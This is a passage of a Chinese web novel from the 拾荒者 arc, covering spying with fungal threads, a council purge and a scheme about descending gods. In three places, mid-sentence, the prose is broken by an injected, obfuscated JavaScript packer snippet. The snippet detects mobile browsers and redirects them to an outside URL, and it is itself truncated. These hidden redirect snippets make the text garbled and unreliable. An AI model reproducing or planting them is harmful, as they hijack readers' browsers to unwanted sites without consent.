这是猎手的姿态。 宋言很快做出决断。她轻敲键盘,回复道:成交。 对方没有回复,宋言盯着R发来的最后一条消息,和那个偏僻的地址,忽然明白了一件事。 有些钱,不是谁都能挣的。 R的态度明显是不见兔子不撒鹰,在宋言拍到照片前,恐怕拿不到一分好处。 而看对方的口气,这个委托恐怕不只是拍张照这么简单。拍照只是按下快门的事,但拍摄者要考虑的就有很多了,比如如何不让照片上的黑衣人发现摄像头,以及如何脱下他的衣服。 小雨淅淅沥沥,宋言戴好鸭舌帽和口罩,在玄关处换鞋。 背后姜夜白幽幽道:“外面风大,早点回家。” 宋言系鞋带的动作顿了一下,沉默地点了点头。 ...... ...... 月上中天。 来福街道没几盏灯亮着,但凡有点本事,多半卖了这里的土地,去内城谋生了。 自从十三年前林凛带人扫平了藏匿在那个废弃楼盘里的域,这一片便成了鬼城,不通水电的房子或许有人住,但没人敢住死过人的,还一死就是成百上千人。 今夜,附近只有一家店铺亮着灯。 玄衣女人步伐有些虚,在门口望了一阵,确定店里只有店主一个人才慢慢走进来。 “一份煎饺,打包。”出口是低沉的女声。 “哦哦......好。”店主是个小姑娘,看上去年纪不大,看个店还能睡着,可见困极了。 女孩睡眼惺忪,鼻尖嗅了嗅,似乎闻到似有似无的血气,她没有多嘴,只生疏地生火,倒油,饺子下锅。 女人坐在门口等待,见她额头冒起细密的汗珠,道:“你看店多久了?” “这几天刚来......”女孩答道。 玄衣女人无所谓地点了下头,视线又移向了别的地方,不经意扫过街道、对面窗户和黑漆漆的夜空,最后回到女孩身上。 “您的煎饺。”饺子被女孩拿盒子包好,递给她。 煎焦了几个,女孩身体绷得有些紧,似乎在担心客人借口赖账。 女人没怎么看饺子,只目光在女孩脸上停留了一瞬,眉头一拧:“我是不是见过你?” 女孩愣了下,道:“这......我不知道,要不您取下面罩,我认认?” 女人斟酌了下,最终否决了这个提议:“算了,当我眼花。” ...... 长夜无声。 来福街道46栋是一处民宅,不过,没有人住,民宅也就变成了鬼宅。 有风吹过,玄衣女人宽大的衣裳被吹开一角,肩膀侧面,一道狰狞的伤疤横贯琵琶骨,一直延伸到前胸。 陈年旧伤,多年来一直折磨着她,不是因为多疼痛,而是因为这具□□太孱弱,按理说是不能进行切除手术的,但女人执意如此。 也是因为身体太弱,她必须按照人类习惯进食,摄取需要的能量。 饭盒被打开,几个黑乎乎的煎饺被扔进垃圾桶,韭菜猪肉馅的香味飘散开,女人第一次觉得人类也有可取之处。 她拆开便利店送的筷子,低头吃起饺子。 四周无光,垃圾桶盖被悄悄顶起一角,几簇白色的菌丝一闪而过。 ...... 另一条街,二楼。 宋言给过老板小费,楼下便利店早早打烊,附近唯一亮着的灯也灭了。 系统声音依旧醉醺醺的:“你放心,嗝,不管是谁,就是天王老子来了,嗝,他也发现不了!” 宋言闭上眼,感受菌丝实时传送来的画面,环境漆黑一片,在菌丝的视界中,却能准确定位到女人的位置,她似乎在等什么人,左手无意识地敲着节拍,有些不耐烦。 即使四周无人,她仍然戴着面罩,宽大的兜帽掩着大半张脸,看不清神情。 让她等的这个人一定很重要,这是宋言第一个判断,才能让一个很在意身份暴露的人,冒着被人认出来的风险,也要和那人见面。 还有一种可能,就是黑衣人觉得这地点绝对安全,不存在情报泄露的可能性。如果是这样的话,那个R还真是......不容小觑。 但R都能搞到这种机密情报,反而要在拾荒者内网上找一个赏金猎人完成委托,宋言肯定不会觉得对方能力不行,更有可能是这位有钱雇主不想引火烧身。 良久,宋言视界中终于出现另一个身影,这人矮一些,行走时无声无息,形影似鬼魅。 他把一个盒子交到黑衣人手上,声音很低:“我们原本找到了三块碎片,中途被人抢走一块.....里面只剩下两块。” 黑衣人点了点头,见对方没有责怪的意思,他继续道:“还有......到帝都的水陆交通都被切断了,我在路上耽搁了些日子,所以今日才到帝都。” 两人对话不多,宋言听到的已是全部,黑衣人和矮个子沿着另一条路离开,宋言只好操纵着菌丝跟上去,沿路逐渐亮起来。 倒也奇怪,一个两个,都在找碎片,沈以泽在找,系统在找,沈桉在找。如今她的任务对象也在找。 但宋言奇怪的不是他们为什么找,而是碎片真的,那么有用吗? 对系统来说,碎片是解封的工具,对宋言来说,是回家的钥匙。对魔术师来说,是延缓衰老的美容药。 但一个东西一旦被赋予太多用处,往往不一定是稀世珍宝,而是真相的遮羞布。 宋言一时有些好奇,这块布下,到底藏着什么。 黑衣人在一处民居前停下来。 周边亮着星星点点的灯,既不太热闹,也不落寞,店面民居错落排列,温馨而安宁。 木门“吱呀”一声打开,里头蹦出一条夹着尾巴,蜥蜴模样的生物,一头蹿到黑衣人身上,丝毫不顾还是在门外。 不过四周也没有人,街灯昏昏沉沉地亮着,黑衣人精神松懈,面罩解开一角,终于露出那张堪称温婉的脸。 平心而论,这张脸和惊悚毫不相关,甚至还有些秀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283317|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽的味道,但宋言却在夏夜被吓出一身冷汗。 与此同时,一根细细的菌丝举起微型摄像头,拍下照片。 ——那是陈娟的脸。 ...... ...... 议会厅。 窗外一声雷炸响,蒋嵩瞬间惊醒,屁股“敦”地一下砸到地上,发出沉闷的响声。 他抱着身上的毯子,窗外不知何时下起了雨,潮湿阴冷,他后背满是粘腻的汗。 进了议会厅,没个三天五天是走不了的。一帮老东西在台上扯着嗓子尖叫,你方唱罢我登场,吵得人头痛。 由此可见,男人多的地方,鸭子也格外多,一个抵得上五百只,算下来议会厅该有成千上万只鸭子。 蒋嵩颇觉自己有先见之明,带着毯子枕头进来,困了就往地上一躺,那群老头正烦着呢,谁也没空注意他。 这一觉本该美美睡到三天后,中途惊醒,不止因为那声雷,更因为蒋嵩方才做的噩梦。 梦里,他的府邸被查抄,地下室里那些见不得光的东西被一个个翻出来,烧成一团灰烬。 还有那个女人...... 蒋嵩强行打断自己的思路。 这些年来,他靠着不听不看不想,仍由管家在地下室胡作非为,既得了许多好处,又免了不少麻烦。虽然都知道总有东窗事发的一日,但人总是免不了侥幸心理。 况且也没人敢进他家门肆无忌惮地搜查,除非是上头那位下的指令。 蒋嵩的视线不由自主抬高,一直到议会厅主座,沈桉的位置上。 他老人家多年风采依旧,稳坐主席,垂眸望着那群鹤发童颜的老头你来我往,看不出是真的在看还是在发呆。 蒋嵩啧了一声,心想要是这位议会长大人把保养秘诀拿出来卖,肯定能赚一大笔,不过也只是想想而已,没谁敢和帝国掌权者说这种话。 蒋嵩当年当骑墙派的时候,风吹两边倒,见沈桉势大,便投靠了沈氏,如今看来,这步棋是走对了。依蒋嵩的想法,沈桉都做到议会长这个位置了,帝都俨然已经改姓,他实在想不出沈桉有什么必要对他这种墙头草动手,除非他碍着对方的眼。 想到这里,蒋嵩悬着的心终于放下来。 台上那群老头还在吵,话题是该不该向周边的安全区强行征税,今年粮食歉收,钱税和物税都收不上来,不过这帮老头觉得,问题并不出在收成上,而出在安全区上。 让军部去这几个安全区走一遭,不论是粮食还是钱税,自然而然就收上来了。 而反对者的理由也很简单,军部被调走了,谁来保障帝都的安全? 蒋嵩听了一耳朵,只觉得困乏,心想国家大事有这帮人操心,真是吃枣药丸。 不过这和他没什么关系,天塌下来个高的顶着,人沈议会长都没发话,他瞎操什么心。 蒋嵩又看了一眼主座,那位议会长仍然低着头,指节有规律地轻敲椅背,他几乎要生出一种错觉——沈桉是在等什么人。 或者等待某件事尘埃落定。 蒋嵩的思绪被一道剧烈的响声打断。 议会厅大门被“轰”的一声推开,地上红毯湿了一片,狂风闪电里,走来两个身披黑甲的骑士。 这是军部最正式的服饰。 领头的那个骑士走到议会厅正中央,单膝跪下,台上,沈桉蓦然抬头。 一道干哑的女声落地如雷。 “禀报议会长,内城二百五十余户窝藏畸变种及私下豢养者,已查抄完毕,名单齐备,听候处置。” 片刻,台上传来一道漫不经心的声音,似乎等这一刻已经很久。 “既然万事具备,便都杀了吧。” 105. 拾荒者(十) 105 * 议会厅乱成了一锅粥,哭声喊声连成一片,甚至有人企图以头撞柱,临到头又舍不得这大好头颅,被随后进入的宫应派人拖了下去。 宫应身后,一长列黑甲卫兵把这些哭天喊地的大人们一个个押下去,蒋嵩气还没出一口,便被一个身材高大的卫兵从地上拎起来,丢上囚车。 车开往刑狱司的方向。 宫应摘下厚重的头盔,面无表情地旁观这场闹剧,讥讽道:“这些老爷从前不知道借刑狱司捞了多少油水,如今自己要进去,倒是知道害怕了。” “宫将军这话有趣。”宫应身后,青年脸上浮着浅浅的笑,他拂去衣角沾上的雨珠,徐徐道,“谁不害怕刑狱司呢,里面关着的都是穷凶极恶的犯人,当初不是还查出来,刑狱司那一对兄弟......” 沈溯说到这里,自觉住了嘴。 当初,是十三年前的当初了,沈溯敏锐地意识到,这件事不论对沈桉,还是对宫应来说,都是不能提起的禁忌。 但这种看不清摸不透的感觉让他着迷,沈溯私底下查过,十三年的过往仿佛被谁刻意遮掩过,他如何动用人脉资源,都只能得到零星碎片。 议会厅很快归于沉寂。 宫应抓人下狱一整套流程相当娴熟,不用沈桉多嘴,有罪的被押走,无罪的打发回家,都是些酒囊饭袋,一见兵就软了,方可等人又只是来汇报工作,见后续有人处理,也不再插手。 偌大的议会厅里,竟然只剩下三个人。 沈桉淡淡看了眼这个便宜侄子,声音没什么情绪:“你还不走吗?” 沈溯还没回答,身旁的宫应先低低笑了一声。 那声笑沉闷低哑,近乎嘲讽。 他目光在这对舅侄间转了一圈,道:“或许是沈公子有什么事想问问我们英明神武的议会长呢,毕竟是亲侄子,我们议会长能答还是会答的。” 沈桉从主座上走下,捏了捏眉心,淡声道:“宫将军。” 宫应挑了挑眉,不说话了。 沈桉面容疲倦,耐着性子同沈溯道:“听闻你最近在军部实习,如何?” 沈溯挑出几件能说的,斟酌道:“尚可。方队长和楚将军都对我很照顾,今日我同外勤组出任务,想到您这边应该有动作,完成后便来了议会厅。” 沈桉等了一会,见沈溯没有再想提的,道:“除此之外,你没有其他感想吗?” 沈溯不解地睁大眼,摇了摇头。 “那看来你已经有偏向了,把方可排在楚北倾前面,我以为你会更喜欢后者。”沈桉道。 沈溯默然。沈家子嗣稀薄,后面几个堂弟都不成器,他确实是最有希望继承沈桉位置的那个,但是被当作继承人培养,和自以为是继承人,还是有区别的。 沈桉这话是在敲打他,沈溯斟酌答道:“方队长行事果断,颇有林上将遗风;楚将军也很好,柔而不弱,只是侄儿毕竟年轻,免不了更喜欢前者做派。” 宫应忍不住嗤笑道:“沈公子真的不是因为更喜欢林家和方家吗?” 沈溯不语,拿宫应的话当耳旁风。 沈桉摆了摆手,制止道:“算了,小溯,这边还要议事,你回去吧。这些日子在军部,你母亲该想你了。” 沈溯点头应是,议会厅大门厚实沉重,沈溯却毫不费力地推开,风雨灌入衣领,门外夜色昏茫。 身后遥遥传来一道低沉的声音。 “记得保管好你的项链。” 沈溯蓦然回首,议会厅高台之上,沈桉面目模糊,声音却清晰地传到他耳中,在他心上猛然敲了一记。 ......项链。 沈溯右手摸上胸口,沈家每个孩子出生时都会在脖子上挂一枚长命锁,他的不一样,是沈桉亲自打的。 他的拥趸也将此视为他是沈桉选中的继承人的证明。 那枚长命锁被他拽出一角,鎏金的丝绦点缀在脖颈上,分外好看。 ...... 议会厅的门被关上。 沈桉左右看了看,似乎很享受空荡荡的议会厅,找了张椅子坐下,随口道:“小姝很快也要回来了。” 宫应猛地抬头,那张从来只写着冷嘲和热讽的脸上,一瞬间生动起来,如一捧热油淋上叉烧鳜鱼,活色生香。 沈桉撩起眼皮,平淡地望他一眼,继续道:“姜维也会跟着回来,锚点足够多,才好引蛇出洞。” “届时你见了他,不要又像从前一样掐起来,惹人笑话。” “笑话?”宫应几乎是咬牙切齿吐出这两个字,面沉如水,“难道我还有让人笑话的余地?沈大人,我没办法和姜维和平相处,抛开他当初在军校的时候害我在床上躺了两个多月不说,就谈他十三年前和您演这出戏,把我当猴耍,我就没办法不恨他。” 宫应道:“我以为这些年我没那么讨厌他了,可是您一提起来,我还是没办法说服自己......就当是看在我给沈大小姐当了十几年狗,也为您鞍前马后这么多年的分上,饶了我吧。” 沈桉微微蹙眉,别开眼,轻声道:“小姝未必这么看你。” 宫应笑了一声,道:“那我真是该感谢沈大小姐给我留一份体面。” 沈桉摇头,不欲继续说下去,径直转了话题:“不论怎样,姜维是计划不可或缺的一环,只有锚点齐聚一处,计划才能正常进行。” “沈家人只是祂们降临的容器,最开始祂想降临在我身上,我吃掉了祂,得到了天赋[预知],我那时才知道,我们面临的是怎样的未来。” 沈桉叹了口气,通过言语梳理思路:“畸变种和异能者越多,祂降临得就越快。我甚至怀疑研究院也有祂的人,不然异能改造在大灾变刚刚开始的时候屡屡受挫,为何在几十年前就能突飞猛进,真当紫微星降世,研究院那几亩地忽然就长出几棵好笋不成?” “不过我后来仔细翻看那个亚当的记忆,发现祂们并不是铁板一块,有人想螳螂捕蝉,有人想黄雀在后。于是我和黄雀做了个交易。” 宫应问道:“什么交易?” 沈桉目光有些空,似是回到了那个多年前的夜晚,大雨如注,他依照记忆里的仪式摆好材料,烛焰忽明忽灭。 那个声音问他:“所求为何?” 他回答:“你我合作,共歼螳螂。” 对方久久没有出声,沈桉便也不答,在超自然的力量面前,无论他做什么,都是摇尾乞怜。 沈桉无所谓自己像不像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296820|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条狗,他只想把入侵的蝗虫赶走,为此,他可以付出一切。 良久,对方答道:“可。” 宫应点评道:“难以想象,沈大人也有少年意气的时候。” 沈桉瞧他一眼,道:“我猜你是想说我莽撞,宫应,你这样说话,小姝恐怕嫌累。” 宫应又不说话了,他脸色变换了一会,才道:“沈大人说笑。” 沈桉道:“笑恐怕是笑不出来,我只觉得累......和那位达成契约后,我便着手布局,在我看到的未来里,姜维是锚点,沈姝是锚点,那些进化速度超乎寻常的畸变种也是锚点......” “于是我让小姝盯着姜维,以泽被我派出去找碎片,顺带收拾那些进化得太快的畸变种,火种计划也被启动,我让宋非羽那孩子带着部下跑得越远越好,至少帝都没了,新世界的人类还能有个栖身之所。” 一道闪电划过天际,沈桉的脸白得像鬼,他却浑然不觉,继续道:“哦,碎片。对了,这东西我最初以为是逃生的木筏,后来发现它确实是木筏,只不过不是我们的木筏,是祂们的。” 沈桉难得一下子说这么多话,宫应分析了几分钟,琢磨出几分不同寻常的味道:“议会长,你是在和我解释你为什么这么做?” 沈桉走到窗边,推开窗户,深吸一口气,闻到泥土混合着青草的潮湿气息,顿觉松快。 他没有回头。 “我是在托孤。”沈桉的声音在风雨中模糊不清,“网已经织好,我年纪大了,和螳螂陪葬是没什么,可你还年轻,小溯也还年轻,这是我的私心。” 宫应理解了几秒,发现这话就是他想的意思,脸上顿时相当好看:“议会长,你这是置帝都于不顾,十三年前畸变种入侵,姜维假死被沈姝带走,内城便乱成一锅粥,现在你要在帝都再次收网,置万户百姓于何地?” “那么你有更好的办法吗?宫将军。”沈桉侧过脸,脸上一片漠然。 没有回答。 宫应低下了头。 沈桉缓缓道:“十三年前,我们这些锚点发生异变,畸变种一夜之间完成多次进化,原本该发生在三十年后的现实提前降临,为了阻止祂,姜维强制沉眠,小姝带着他去云岚,利用织星提供的技术躲避祂的召唤。” “虽然对外我们说姜维死在了那场入侵里,可又有几个人相信?不必说别的,单说我这个不省心的侄儿,就一直旁敲侧击地打听这件事。” 宫应道:“议会长,这样做始终太冒险,这是拿整个帝都当赌注,成则生,败则死。” 窗边,沈桉淡淡笑了下,这笑出自真心,他整张脸透出意气风发的意味。 他嘴唇动了动:“世上有什么不冒险呢?宫应,我问你,要是你和姜维打一架,谁赢了小姝便会爱上谁,你们打不打这一架。” 宫应皱眉道:“请沈大人不要取笑于我。” 沈桉今日似乎很好说话,摆手道:“那便不问了,回到原来的话题,这局赌桌,我不得不上,等待被吃还是主动吃别人,我一向选择后者。今日和你说清楚,主要是为了祛除你心中的疑惑。” “届时我会给你一个合适的理由带沈溯离开帝都,到时候无论帝都发生什么,不要回头,不要回来。” 106. 拾荒者(十一) 106 * “嘶,这里到帝都的铁路怎么都停运了?”姜维无可奈何地望着售票亭,信息牌上,通往帝都的路线全被挂上停止运输的标识。 售票亭的小姑娘像活死人,木木地站在窗口,除非买票,一律不搭理人。 沈姝思索片刻,走到售票窗口,小姑娘翻了个白眼,道:“普通票二十,头等座三十,不买票不要来问,去帝都的已经停运了,不要再问了!” 她的声音戛然而止,须臾,中断的声音又响起来,温柔如水。 沈姝眉间,赤红的九瓣莲花纹微微发亮,她问道:“为什么去帝都的停运了?” 女孩回答:“线路被切断了,继续运行有安全隐患。” 沈姝微微点头,得到答案,她不再停留,眉间的莲花纹暗淡下来,小姑娘眼中一瞬迷茫,一会儿,又恢复成原先半死不活的样子。 姜维听到二人的对话,蹙眉道:“在这个关键节点切断线路,帝都发生了什么?谁在切断帝都和外界的联络?” 沈姝摇头道:“不知道,兄长信里没说,总之我们先去帝都,铁路不行,就开车去,附近应该有租车行。” 两人从云岚出发,一路往北走,大约二十公里,终于抵达附近一处铁路枢纽,可现在铁路被废弃,二人只能进城租车。 姜维落后沈姝半步,尾巴一样跟着后面,感叹道:“我睡了十三年,醒来后世界真是一点没变,交通工具还是绿皮火车,让我觉得时代还没抛弃我。” 沈姝道:“你从前说你要造高铁和飞机,也许之后你可以继续造。” 姜维眼里浮上一点异样的神采,走路不注意,险些崴到脚:“嗷——有些痛,当真是老了。沈大小姐还真是把我说过的话记得一清二楚,啊,这句话你不会也报给你兄长了吧,那我得多丢人啊,这么些年过去了,什么也没做成。” 姜维回忆往事,道:“当年沈大小姐对我青眼有加,我还以为是因为我英俊潇洒的外表,没想到只是因为沈叔叔要他家嫡亲的妹妹盯着我,免得我破坏了他的计划。” 他语气有些惆怅:“那时候年轻,真当自己是话本主角了,知音美人在侧,宏图霸业徐徐展开,后来才发现,经济基础决定上层建筑,无论是改革还是革.命,在这个世界都施展不开。” 沈姝已经习惯他满嘴跑火车,只微微挑眉道:“美人?” 姜维指了指自己,颇为自信道:“我们当初那群公子哥里,难道我不算美人?” 沈姝的眉头挑得更高了。 “唉。”他重重叹了口气,深深看了眼沈姝,“和沈大小姐比起来,我自然不算美人,不过谁又比得过帝都第一美人呢?要不大小姐赏光,这个第一美人的名号,借我戴戴?” 沈姝嘴角抽搐了下:“随你。” “诶?你刚才是不是想笑?”姜维观她神色。 沈姝转过头,嘴角又恢复了正常:“没有。” 租车行离售票亭不远,两人一路走来,沿街生意萧条,只有这个租车行有点人气,老板眯着眼睛,层层叠叠的肥肉堆积在躺椅上,来接待沈姝二人的是一个脸色黝黑的小孩。 这小孩身材瘦弱,沈姝在选车,姜维打量这小孩几眼,闲闲道:“你是老板亲戚?这么小就帮家里做事了?” “不是。”小孩摇摇头,音节一个个蹦出来,“我,流浪。老板,收留我。” 姜维顿时奇了:“你流浪?可听你声音,像是帝都人士。你在那边呆过?” 听到“帝都”两个字时,小孩眉头一拧,背过身去,不说话了。 可姜维是什么人,他想撬的话,没有撬不出来的。他话锋一转,道:“我听说收留没有户籍的小孩,是会被判定拐卖人口的,你这么想送你家老板进局子?” 他蹲下来,视线与小孩齐平,道:“我呢,也不爱强人所难,我只想知道,现在帝都什么情况,你把你知道的都告诉我,我就不告发你,好不好?” 两人离得太近,小孩眉头越皱越紧,意欲后退,却被姜维攥住手腕,难以动作。 被陌生人触碰到,他脸上一阵恶心。但姜维的反应却比他更激烈,几乎是触电一般,他面皮一阵抽搐,手腕松开,解除了对小孩的禁锢。 “靠。”姜维低低骂了一句,沈姝刚选好车,见他神色不虞,微微蹙眉:“怎么?” 姜维长吁一口气,指着面前的小孩道:“大小姐,恐怕得劳动你看看这小孩,我碰不了他。” 沈姝眉头一拧,目光旋即落在小孩黝黑的脸上。 方才姜维一下放开他,长袖随之掀起,他衣服底下,竟然遍布鞭痕刀痕。他仿佛不知痛楚,只小兽般盯着沈姝姜维两人。 沈姝眉间九瓣莲微微亮起,小孩脸上的抵抗之意逐渐褪去,她问道:“你从哪里来?” 小孩双目无神,回答:“帝都。” 听到这个答案,沈姝浓密的眼睫急促扑扇了两下,旋即问道:“你为什么离开帝都?” 小孩挣扎片刻,最终臣服于九瓣莲的控制:“......我逃出来的,他们抓我,改造,我和一个女孩子融合,他要我拖人入梦......” 姜维捏着自己的手腕,插嘴道:“那个女孩子长什么样子?” 小孩回答:“我们都呆在一个黑漆漆的房间里,我不知道......但她唱歌很好听,我听他们叫她梦游者。” “梦游者?”姜维沉吟道,“竟然还关研究院的事?” 他道:“十三年前研究院的异能改造终于有了成果,但是被沈叔叔一刀切,我那时以为他老顽固,直到他和我说,不管是异能改造,还是我,都是祂降临的锚点。” 姜维审视他几秒,忽然道:“他脖子上有东西。” 这孩子头发长到胸口,油腻腻的,几个月没打理过,姜维掀开表层的头发,把他领口拉下一些,瞬间露出一截皓白的脖颈,上面是一大片花样缭乱的刺青。 姜维思索片刻,在脖颈分界线上抹了一把,果然抹下一层黑泥。 代价是他又被电了一下。 姜维低低喘了一声,捏着手腕道:“是鬼面,这是鬼面抓人的标识,看来青木也在帝都大放异彩。” 沈姝道:“我记得鬼面是你和青木一块琢磨出的一个组织,当时还打算和拾荒者合并。” 姜维点了点头:“是青木想这么做,我没同意,我总觉得,他有点怪怪的,但又说不上来哪里怪。” 姜维相信自己的直觉,所以一直不敢完全信任青木,但是也不好无故发难。 沈姝望了他手腕一眼,道:“你为什么一直遮着袖口?” 姜维还没回答,他半遮半掩的袖口已经被沈姝掀开,他只好道:“因为......有点疼。嘶,你别用力,更疼了。” 姜维垂下眼,黑色的诡异花纹已经爬满他半个手掌,像瓷器表面的冰裂纹,触目惊心。 姜维端详着沈姝的神情,讪讪道:“我也没想到,碰一下这小孩就这样了。嘶,你觉得这个效果像不像催化剂?” 他推测道:“如果青木他们费尽心思就是为了制造出这些东西,只可能是冲我们这帮人来,意欲催化我们这批锚点。” “如果是这样的话......”姜维控制视线从沈姝身上移开,望向辽阔无垠的天际,感慨道,“帝都现在一定很热闹。” ...... ...... 夜晚,别墅。 风雨稍歇,宋言轻轻推开大门,客厅亮着灯,没有人。 时钟上的秒针一格格拨动,夜晚静谧无声,她顺着楼梯爬到二楼,走进最里面那间。 她把照片发给R,对方如约打了一大笔钱给她,附赠两箱基因药。 后者是宋言额外要的。她原本以为这个要求不一定能实现,毕竟基因药受到严格管制,之前殷越给她都是走的私库。 不过现在看来,管制是管制的,但是上有管制,下有对策。 宋言拧开一瓶基因药,囫囵吞下,味道有点像康复新液,不知道原材料是不是也是。 现在喝是为了等会登出天赋塔的时候,不至于身体衰竭。 虽然塔内的损伤不会带到塔外,但是痛得起不来身的感觉并不好受。 今天在军部,温蓉给了她一把新匕首,说是方队长交代的,见她惯用刀,便从军部内库用积分兑了把刀送她。 方可原本的意思是,天赋塔对武器有要求,不是特殊处理过的武器用不了,为了让宋言爬塔快一点,这是有必要的前期投资。 如果她知道宋言爬塔的真实情况,这个“快一点”恐怕有待商榷。 新匕首表面铮亮,清晰地映出宋言半张脸,宋言这次没那么急着进塔,而是不疾不徐地准备好要用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306458|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的物品。 可一切准备就绪后,她总觉得遗忘了什么。 系统见她难得有些茫然,好心提醒道:“你那个挂件。” 哦,原来是这个。 宋言悟了。 小金应该在楼下,但是如果下楼去找,免不了再碰到姜夜白,她现在有点不知道怎么应对他。 这人今晚一直怪怪的。 权衡片刻,宋言最终决定一个人进塔。 ...... 冰原千里,暴雪肆虐。 宋言上次已经爬到第七层寒狱,这次直接登入了第八层,四周白茫茫一片,再往上一层,就是热狱。 宋言疑惑道:“我上次明明还没来得及找到梯子。” 系统挪揄道:“看来某些人等不及了,祂等你太久,甚至不惜跨命途干预,也要把你抓上去。” 宋言道:“抓上去?” 系统:“祂想见你,但祂下不来,所以只好把你拎上去。你之后爬塔的速度会如有神助,体验下走后门的感觉吧。” 宋言裹紧了外套,鼻头冻得红红的,思考了几秒,顿觉不对:“你现在怎么一箩筐全都告诉我了?你不是一直都遮遮掩掩跟黄花大闺男似的吗?” 系统沉默了几秒,幽幽道:“因为我被约谈了。” 宋言:“......啊?” “就在你到处跑偷拍别人那段时间,我被约谈了。”系统吸吸鼻子,有点委屈,“祂下达指令,要我帮你赶紧爬上去,别耽误祂的计划。” 系统:“......明明是一颗树上结出来的,为什么差距这么大,我和某个铁脑袋动都动不了,祂却可以高坐明台,发号施令。” 系统说话好像咬着手帕,泫然欲泣,宋言沉默片刻,试图安慰它:“要不你从自己身上找找原因?人总有失败的时候,不怕失败,就怕一直失败。” 系统半晌没出声。 宋言觉得自己的安慰起到了效果,怨夫一样的电子音终于停下,她试探道:“不哭了?不哭了就爬塔吧,前面还有很远。” 系统闷声道:“宋言,有没有人说过你很讨厌。” 宋言回忆片刻,回答:“好像有,但是没人在我面前提,我和他们都不太熟。” 系统:“......那我该感谢我和你很熟?至少我还能光明正大说讨厌你。” 宋言摇摇头:“我可没这么说。” 还是和之前一样的流程,宋言干掉守关怪物,天梯自动出现,星星点点的黑色火焰融入她身体,她进入下一层热狱。 景象骤然翻转。 热狱一层,土地泛着炙热的赤红,地火不知从何处喷涌而出,整个人像是在烧烤炉上来回翻转。 宋言衣领上残留的霜雪瞬间融化,蒸腾成水汽,地面传来的热气快要把人烤干。 放眼望去,隆起的山口咕噜噜冒出岩浆,喷薄而出,恐怖的热量席卷而来,一时间地震山摇,宋言躲到一处山石后,险些被岩浆灼伤。 系统为她指明方向:“东南一千米处,你的后门在等你。” 宋言朝系统指的方向看去,只有正在冒烟的活火山。 她十分怀疑:“那没有后门,只有死门。” 系统摆摆手,不太耐烦解释:“你去了就知道了,我还会害你吗?” 宋言撇撇嘴:“谁知道呢?” 话虽如此,她仍然朝系统指的方向走去,那座火山一直冒着黑烟,热气擦过宋言脸侧,像烧红的铁板,皮肉粘黏上去,便要剐下一层肉来。 宋言浑然不觉,她只一直往前走,往上爬,一直走到火山口,才停下。 火山口没有岩浆喷出,只有一层层沉寂的灰。 宋言扒开火山灰,往里看,一片漆黑里,有微末的光亮。 于是她头埋得更深些。 她看见了一张脸。 那是一张女人的脸,面容秀美,又有些英气,她明明没有睁开眼,神情之中,却有言语难以描述的圣洁与悲悯。 宋言心头悸动,浮上一阵说不出的熟悉感。 她阖上的眼睛忽然睁开,眼瞳银白,向上翻转。 四目相对。 宋言猝不及防看到那双眼睛,耳边风雨不止,她又看见漆黑的雨水落下,世界破碎成只言片语。 她神思恍惚,背后忽然被人推了一把,直直坠落下去。 107. 拾荒者(十二) 107 * “你是第二个诞生的孩子,如果在其他族群里,你该叫我阿姊。”女人轻抚宋言的头,声音温柔。 宋言仰头,女人脸上的笑意温和而悲悯,维持在刚刚好的弧度,多一分太假,少一分太严肃。 宋言想转开头,却发现自己无法动弹,头顶传来声音,“呀,又有两个孩子要成熟了,卡巴拉将迎来第三位和第四位神灵。” 女人从宋言面前走开,宋言眼前出现一颗参天古木,枝叶繁茂,丰茂润泽。 枝干交错缠绕,青碧鲜亮的树叶间,果实丰盈饱满,一个泛着玄铁的光泽,一个青枝翠蔓,徐徐摇曳。 果实一前一后落地,一个砸到另一个身上,表皮裂开,里面是一个铁皮三棱锥和一个碧色团子。 团子舒展开,露出尚算清晰的五官和短小的四肢,和铁皮疙瘩挨到一处,下一秒就被对方扔了出去。 宋言望着远处的铁皮疙瘩和碧色团子,心中自觉浮现出对应的名称,好像很久以前,她和这些人从一颗树上掉下来,就是这样知晓彼此的名姓。 那是机械和生命。 而那颗苍苍郁郁的古树,是一切生命的开始,也是整个世界的终结。 ...... 宋言开始四处行走。 山川草木、飞鸟游鱼,都是她寻访的对象,至于到底在寻找什么,她并不关心。 这是宋言推测出的结论,她仿佛在用主控视角感受别人的人生,如果那个女人的话成立,她在观看神灵眼中的世界。 神眼中万物并无差别,春生夏长,朝生暮死。有时她会随手救下落入樊笼的野兽,野兽迫于威压,大多会远远避开,也有些会上前舔舐这位神灵的指尖。 